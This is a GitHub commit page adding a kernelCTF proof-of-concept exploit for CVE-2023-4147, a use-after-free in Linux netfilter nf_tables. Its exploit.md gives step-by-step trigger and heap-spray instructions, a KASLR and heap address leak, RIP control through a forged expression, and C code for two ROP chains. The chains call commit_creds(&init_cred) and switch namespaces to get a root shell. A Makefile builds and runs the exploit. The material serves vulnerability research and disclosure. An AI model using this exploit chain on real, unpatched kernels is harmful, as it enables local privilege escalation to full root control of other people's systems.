-
Notifications
You must be signed in to change notification settings - Fork 417
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Add kernelCTF CVE-2023-4147_mitigation (#111)
* Add kernelCTF CVE-2023-4147_mitigation * update exploit.md * update exploit.c and exploit.md
- Loading branch information
1 parent
707d4a2
commit 12f5ea9
Showing
10 changed files
with
2,294 additions
and
0 deletions.
There are no files selected for viewing
189 changes: 189 additions & 0 deletions
189
pocs/linux/kernelctf/CVE-2023-4147_mitigation/docs/exploit.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,189 @@ | ||
### Triggering Vulnerability | ||
|
||
`nf_tables_newrule` disallows adding a new rule to the bound chain [1], but when adding a rule with `NFTA_RULE_CHAIN_ID` a rule is added to the bound chain [2]. | ||
|
||
```c | ||
static int nf_tables_newrule(struct sk_buff *skb, const struct nfnl_info *info, | ||
const struct nlattr * const nla[]) | ||
{ | ||
... | ||
|
||
table = nft_table_lookup(net, nla[NFTA_RULE_TABLE], family, genmask, | ||
NETLINK_CB(skb).portid); | ||
if (IS_ERR(table)) { | ||
NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_TABLE]); | ||
return PTR_ERR(table); | ||
} | ||
|
||
if (nla[NFTA_RULE_CHAIN]) { | ||
chain = nft_chain_lookup(net, table, nla[NFTA_RULE_CHAIN], | ||
genmask); | ||
if (IS_ERR(chain)) { | ||
NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_CHAIN]); | ||
return PTR_ERR(chain); | ||
} | ||
if (nft_chain_is_bound(chain)) // [1] | ||
return -EOPNOTSUPP; | ||
|
||
} else if (nla[NFTA_RULE_CHAIN_ID]) { | ||
chain = nft_chain_lookup_byid(net, table, nla[NFTA_RULE_CHAIN_ID]); // [2] | ||
if (IS_ERR(chain)) { | ||
NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_CHAIN_ID]); | ||
return PTR_ERR(chain); | ||
} | ||
} else { | ||
return -EINVAL; | ||
} | ||
``` | ||
We can trigger the vulnerability as follows: | ||
- Create two chains, `Base` and `Vulnerable`. Set `NFT_CHAIN_BINDING` flag for `Vulnerable`. | ||
- Create an anonymous set `Victim`. | ||
- Create a set element in set `Victim`. | ||
- Create a rule `R1` in `Base` with an `immediate expr` referencing the `Vulnerable`. | ||
- Create a rule `R2` in `Vulnerable` with an `lookup expr` referencing the `Victim`. | ||
- Delete the `R1`. This results in `Victim` being free from the destroy phase [3]. | ||
- Delete the set element in `Victim`. This results in a UAF that references `Victim` that was freed in previous step [4]. | ||
```c | ||
static void nft_commit_release(struct nft_trans *trans) | ||
{ | ||
switch (trans->msg_type) { | ||
... | ||
case NFT_MSG_DELSET: | ||
nft_set_destroy(&trans->ctx, nft_trans_set(trans)); // [3] | ||
break; | ||
case NFT_MSG_DELSETELEM: | ||
nf_tables_set_elem_destroy(&trans->ctx, | ||
nft_trans_elem_set(trans), // [4] | ||
nft_trans_elem(trans).priv); | ||
break; | ||
... | ||
} | ||
``` | ||
|
||
### Information Leak | ||
|
||
The KASLR address and heap address are leaked through `nft_rule` allocated in `kmalloc-cg-192`. The leak process is as follows: | ||
|
||
- Create four chains, `Base`, `Vulnerable`, `Chain_Victim`, and `Target`. Set `NFT_CHAIN_BINDING` flag for `Vulnerable`. | ||
- Create chains `Chain_Victim2_n` for the victim rules created in the next step. In this exploit, 0x30 chains are sprayed. | ||
- Create an anonymous rhash set `Set_Victim`. | ||
- Create a set element in set `Set_Victim`. The element is allocated in `kmalloc-cg-256`. | ||
|
||
- Create rules `Rule_Victim2_n` in `Chain_Victim2_n`. The rules are allocated in `kmalloc-cg-192`. | ||
- Create rules `Rule_Targret_n` in `Target` with an `counter expr`. The rules are allocated in `kmalloc-cg-192`. The kbase and heap address in the `Rule_Targret_n` are used for leak in following step. We can read the target rule allocated right after the `Rule_Victim2_n`. | ||
- Create rules `Rule_Victim_n` in `Chain_Victim` with an `immediate expr` referencing the `Chain_Victim2_n`. The rules are allocated in `kmalloc-cg-256`. | ||
|
||
- Create a rule `R1` in `Base` with an `immediate expr` referencing the `Vulnerable`. | ||
- Create a rule `R2` in `Vulnerable` with a `lookup expr` referencing the `Set_Victim`. We can add the rule to bound chain `Vulnerable` because of the vulnerability. | ||
- Delete the `R1`. When `R1` is destroyed, `nft_immediate_destroy` is called to destroy `R2`, the rule of `Vulnerable` that is bound to `R1`. This results in `Set_Victim` being free in `nft_lookup_destroy` from the destroy phase. | ||
- Delete the set element in `Set_Victim`. This will reference the `Set_Victim` freed in the previous step in the `nf_tables_set_elem_destroy`, causing a UAF. | ||
|
||
```c | ||
static void nf_tables_set_elem_destroy(const struct nft_ctx *ctx, | ||
const struct nft_set *set, void *elem) | ||
{ | ||
struct nft_set_ext *ext = nft_set_elem_ext(set, elem); // [5] | ||
|
||
if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS)) | ||
nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext)); // [6] | ||
|
||
kfree(elem); | ||
} | ||
``` | ||
```c | ||
static inline struct nft_set_ext *nft_set_elem_ext(const struct nft_set *set, | ||
void *elem) | ||
{ | ||
return elem + set->ops->elemsize; // [7] | ||
} | ||
``` | ||
|
||
- Spray rhash sets `Set_Spray_n`. When destroying an `nf_tables_set_elem_destroy` element, `nft_set_ext` is used [5], and `nft_set_ext` is retrieved by referencing `set->ops->elemsize` [7]. Thus, a rhash set with `elemsize` of 8 is overwritten by an rbtree set with `elemsize` of 24, causing the `nft_set_elem_expr_destroy` to reference the wrong `nft_set_ext`. We manipulate the offset to destroy the `immedieate expr` in `Rule_Victim_n`, that is allocated after the element, in [6]. This frees `Rule_Victim2_n` in `Chain_Victim2_n`. However, `Chain_Victim2_n` and `Rule_Victim2_n` remain accessible. | ||
- Spray fake rules using `nft_table->udata` into freed `Rule_Victim2_n` (`kmalloc-cg-192`). Set `nft_rule->udata` of the fake rule to 1 and `nft_rule->udata->len` to 0xff. | ||
- Get the fake rule will read 0xff bytes start from `nft_rule->udata`. As a result, we can obtain kbase (`nft_counter_ops`) and heap address (`nft_rule.list.next` and `nft_rule.list.prev`) of `Rule_Targret_n`. | ||
|
||
### RIP Control | ||
|
||
- Create two chains, `Base`, `Vulnerable`. Set `NFT_CHAIN_BINDING` flag for `Vulnerable`. | ||
- Create an anonymous rbtree set `Set_Victim`. | ||
- Create a set element in set `Set_Victim`. The element is allocated in `kmalloc-cg-256`. | ||
- Spray fake exprs using `table->udata` in `kmalloc-cg-256`. | ||
- Create a rule `R1` in `Base` with an `immediate expr` referencing the `Vulnerable`. | ||
- Create a rule `R2` in `Vulnerable` with a `lookup expr` referencing the `Set_Victim`. | ||
- Delete the `R1`. This results in `Set_Victim` being free from the destroy phase. | ||
- Delete the set element in `Set_Victim`. This results in a UAF that references `Set_Victim` that was freed in previous step. | ||
- Create rhash sets `Set_Spray_n`. As a result, the RIP is controlled by referencing the fake expr in the `nf_tables_expr_destroy` [8]. | ||
|
||
```c | ||
static void nf_tables_expr_destroy(const struct nft_ctx *ctx, | ||
struct nft_expr *expr) | ||
{ | ||
const struct nft_expr_type *type = expr->ops->type; | ||
|
||
if (expr->ops->destroy) | ||
expr->ops->destroy(ctx, expr); // [8] | ||
module_put(type->owner); | ||
} | ||
``` | ||
### Post RIP | ||
Since RIP control is performed by the destroy worker, we split the ROP into two phases. In the first ROP payload, we overwrite `counter_ops` with `fake ops` address. | ||
```c | ||
void make_payload(uint64_t* data){ | ||
int i = 0; | ||
data[i++] = kbase + pop_rdi_ret; | ||
data[i++] = kbase + counter_ops_addr_off; | ||
data[i++] = kbase + pop_rsi_ret; | ||
data[i++] = heap_addr+0x40; // fake ops | ||
data[i++] = kbase + mov_ptr_rdi_rsi; | ||
data[i++] = kbase + msleep_off; | ||
data[i++] = 0; | ||
data[i++] = kbase + push_rbx_pop_rsp_pop_rbp_ret; | ||
data[i++] = 0; | ||
data[i++] = 0; | ||
data[i++] = 8; // ops.size | ||
data[i++] = kbase + push_rsi_jmp_rsi_f; // ops.init | ||
} | ||
``` | ||
|
||
Then, when creating `counter expr`, fake `ops->init` is called and the second ROP payload is executed to get the root shell. | ||
|
||
```c | ||
void make_payload2(uint64_t* data){ | ||
int i = 0; | ||
|
||
// commit_creds(&init_cred) | ||
data[i++] = kbase + pop_rdi_ret; | ||
data[i++] = kbase + init_cred_off; | ||
data[i++] = kbase + commit_creds_off; | ||
|
||
// find_task_by_vpid(1) | ||
data[i++] = kbase + pop_rdi_ret; | ||
data[i++] = 1; | ||
data[i++] = kbase + find_task_by_vpid_off; | ||
|
||
// switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy) | ||
data[i++] = kbase + mov_rdi_rax_ret; | ||
data[i++] = kbase + pop_rsi_ret; | ||
data[i++] = kbase + init_nsproxy_off; | ||
data[i++] = kbase + switch_task_namespaces_off; | ||
|
||
data[i++] = kbase + swapgs_restore_regs_and_return_to_usermode_off; | ||
data[i++] = 0; // rax | ||
data[i++] = 0; // rdx | ||
data[i++] = _user_rip; // user_rip | ||
data[i++] = _user_cs; // user_cs | ||
data[i++] = _user_rflags; // user_rflags | ||
data[i++] = _user_sp; // user_sp | ||
data[i++] = _user_ss; // user_ss | ||
} | ||
``` |
12 changes: 12 additions & 0 deletions
12
pocs/linux/kernelctf/CVE-2023-4147_mitigation/docs/vulnerability.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,12 @@ | ||
- Requirements: | ||
- Capabilites: CAP_NET_ADMIN | ||
- Kernel configuration: CONFIG_NETFILTER=y, CONFIG_NF_TABLES=y | ||
- User namespaces required: Yes | ||
- Introduced by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=d0e2c7de92c7 | ||
- Fixed by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=0ebc1064e4874d5987722a2ddbc18f94aa53b211 | ||
- Affected Version: v5.9-rc1 - v6.5-rc3 | ||
- Affected Component: net/netfilter | ||
- Syscall to disable: disallow unprivileged username space | ||
- URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-4147 | ||
- Cause: Use-After-Free | ||
- Description: A use-after-free flaw was found in the Linux kernel's Netfilter functionality when adding a rule with NFTA_RULE_CHAIN_ID. This flaw allows a local user to crash or escalate their privileges on the system. |
42 changes: 42 additions & 0 deletions
42
pocs/linux/kernelctf/CVE-2023-4147_mitigation/exploit/mitigation-6.1/Makefile
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,42 @@ | ||
LIBMNL_DIR = $(realpath ./)/libmnl_build | ||
LIBNFTNL_DIR = $(realpath ./)/libnftnl_build | ||
|
||
LIBS = -L$(LIBNFTNL_DIR)/install/lib -L$(LIBMNL_DIR)/install/lib -lnftnl -lmnl | ||
INCLUDES = -I$(LIBNFTNL_DIR)/libnftnl-1.2.5/include -I$(LIBMNL_DIR)/libmnl-1.0.5/include | ||
CFLAGS = -static -s | ||
|
||
exploit: | ||
gcc -o exploit exploit.c $(LIBS) $(INCLUDES) $(CFLAGS) | ||
|
||
prerequisites: libnftnl-build | ||
|
||
libmnl-build : libmnl-download | ||
tar -C $(LIBMNL_DIR) -xvf $(LIBMNL_DIR)/libmnl-1.0.5.tar.bz2 | ||
cd $(LIBMNL_DIR)/libmnl-1.0.5 && ./configure --enable-static --prefix=`realpath ../install` | ||
cd $(LIBMNL_DIR)/libmnl-1.0.5 && make -j`nproc` | ||
cd $(LIBMNL_DIR)/libmnl-1.0.5 && make install | ||
|
||
libnftnl-build : libmnl-build libnftnl-download | ||
tar -C $(LIBNFTNL_DIR) -xvf $(LIBNFTNL_DIR)/libnftnl-1.2.5.tar.xz | ||
cp rule.c $(LIBNFTNL_DIR)/libnftnl-1.2.5/src/ | ||
cp rule.h $(LIBNFTNL_DIR)/libnftnl-1.2.5/include/ | ||
cp libnftnl_rule.h $(LIBNFTNL_DIR)/libnftnl-1.2.5/include/libnftnl/rule.h | ||
cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && PKG_CONFIG_PATH=$(LIBMNL_DIR)/install/lib/pkgconfig ./configure --enable-static --prefix=`realpath ../install` | ||
cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && C_INCLUDE_PATH=$(C_INCLUDE_PATH):$(LIBMNL_DIR)/install/include LD_LIBRARY_PATH=$(LD_LIBRARY_PATH):$(LIBMNL_DIR)/install/lib make -j`nproc` | ||
cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && make install | ||
|
||
libmnl-download : | ||
mkdir $(LIBMNL_DIR) | ||
wget -P $(LIBMNL_DIR) https://netfilter.org/projects/libmnl/files/libmnl-1.0.5.tar.bz2 | ||
|
||
libnftnl-download : | ||
mkdir $(LIBNFTNL_DIR) | ||
wget -P $(LIBNFTNL_DIR) https://netfilter.org/projects/libnftnl/files/libnftnl-1.2.5.tar.xz | ||
|
||
run: | ||
./exploit | ||
|
||
clean: | ||
rm -f exploit | ||
rm -rf $(LIBMNL_DIR) | ||
rm -rf $(LIBNFTNL_DIR) |
Binary file added
BIN
+920 KB
pocs/linux/kernelctf/CVE-2023-4147_mitigation/exploit/mitigation-6.1/exploit
Binary file not shown.
Oops, something went wrong.